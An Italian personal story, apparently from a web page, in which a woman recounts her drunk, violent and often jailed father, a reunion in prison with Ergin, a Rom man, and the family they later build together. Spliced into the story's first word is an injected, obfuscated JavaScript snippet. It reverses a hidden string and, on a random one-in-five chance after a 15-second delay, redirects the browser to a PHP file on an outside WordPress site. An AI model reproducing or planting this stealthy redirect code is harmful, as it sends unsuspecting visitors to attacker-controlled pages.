Dentro le storie. Rossella e un amore rom

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Qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando ero piccola, nei primi anni ’90, mi bastava sentire il contraccolpo che la porta della mia camera faceva, al suo rientro a casa, per capire in che condizioni era e cosa sarebbe successo di lì a poco. Quando era ubriaco il babbo si trasformava, nello sguardo, nei movimenti, nel tono e nella volgarità delle parole. Io mi chiudevo nella mia camera, e alzavo la radio al massimo, per non sentire. Il giorno dopo la vita riprendeva i suoi ritmi, come se niente fosse; il babbo non si ricordava di niente, la mamma portava la solita maschera, che nascondeva le tristezze e lasciava scoperti i lividi, ed io tornavo a scuola curva sotto lo zaino, con l’animo pesante. Quando ero alle elementari capitava spesso che il babbo fosse arrestato, per qualche rissa o qualche furto, e che la notizia uscisse sui giornali. Provavo disagio, certo, vergogna, ma sono stata sempre abbastanza forte da non chiudermi in me stessa. Il mio riferimento, la mia vera famiglia erano i miei nonni, la mamma e Fabio, mio fratello. Avevo ben chiaro che né io né loro eravamo responsabili di quello che faceva e combinava il babbo. Con il tempo ho imparato a distinguere sempre più fra me e lui, fra i suoi atteggiamenti distruttivi e la mia voglia di normalità; ho iniziato a tenergli testa, a non subire la situazione ma a reagire, e negli anni questa chiarezza ha reso possibile anche un riavvicinamento. E così le porte che sbattono hanno smesso per sempre di farmi paura. E l’aria dei miei ricordi è cambiata.

A ottobre del 2001 andai a Sollicciano a trovarlo, e in uno dei tavoli accanto al nostro rividi Ergin, il ragazzo rom di cui ero da sempre innamorata, anche se la nostra storia era finita, per eccesso di complicazioni. Ci abbracciammo, felici di rivederci, e lui mi pregò di inviargli qualche lettera, che lì in cella il tempo non passava mai. Gli scrissi la sera stessa. Seppi che si era sposato, con una ragazza rom. Mi spiegò che era un matrimonio senza validità civile, un accordo fra famiglie, a cui lui non aveva voluto dire di no per rispetto della tradizione e di sua madre. Qualche lettera dopo mi scrisse che non sentiva alcun vincolo verso quella moglie, e che per me sarebbe stato disposto ad interrompere anche subito quel legame. Il nostro rapporto, fatto di sole lettere, si fece sempre più forte, e a maggio del 2002, quando lui fu trasferito a Giogoli, in comunità, iniziai a partecipare anch’io ai gruppi familiari, al posto della moglie, ormai tornata nella città di provenienza. Conobbi lì Suzanna, la sua mamma; dopo qualche mese mi invitò una sera a casa sua, per conoscere la sua numerosa famiglia; furono molto chiari su quello che loro si aspettavano da una nuora, su ciò che di buono potevo trovare nella loro casa, ma anche sulle difficoltà che avrei potuto incontrare. La sera stessa mi invitarono a rimanere a dormire nella stanza lasciata vuota da Ergin. L’idea di passare la notte nella sua camera mi piaceva da morire, e così accettai. E poi era una maniera per conoscere meglio la sua famiglia, per capire bene a che cosa e a chi avrei dovuto adeguarmi, se volevo stare con lui. Non mi sono più mossa da quella camera e da quella casa.

Alla fine di marzo Ergin uscì da Giogoli, e ad ottobre del 2003 è nato Itan, concepito, contro ad ogni regola, durante uno dei nostri incontri in comunità. Venivamo da mondi diversi, da guerre diverse, e abbiamo avuto bisogno di tempo, di scontri e chiarimenti, e anche di qualche colloquio con il gruppo di ascolto della comunità, per trovare i nostri punti di incontro. Ma non abbiamo mai rinunciato a dirci tutto, chiamando anche la famiglia a partecipare ai nostri problemi, e alla fine ce l’abbiamo fatta. E’ stato come girare un angolo, e sentire finalmente sparire il vento che ci soffiava addosso e ci impediva di andare avanti. Tutto si è fatto più semplice, ed Ergin è diventato il babbo più tenero che si possa immaginare. Alla fine del 2005 è nata anche Susy.

Con Ergin ci siamo scambiati pezzi di vita, mischiando le nostre esperienze e i nostri valori, disposti a mettere ognuno la sua vita a disposizione dell’altro. Abbiamo lasciato dietro di noi errori, nostri e di altri, masticati fino a non sopportarli più, fino a renderli irripetibili. Quando mi chiedo quale potrà essere il futuro dei miei figli, sono serena. Hanno intorno a loro una famiglia unita, rumorosa e numerosa. Una famiglia è un legame profondo, un percorso comune. E’ un’aria che si respira nella casa, fatta di comunicazione, di condivisione, di aiuto reciproco. Itan e Susy mi sembrano il risultato felice di un’integrazione piena d’amore, l’espressione di un mondo che cambia. E dove c’è la capacità di cambiare, c’è la speranza.

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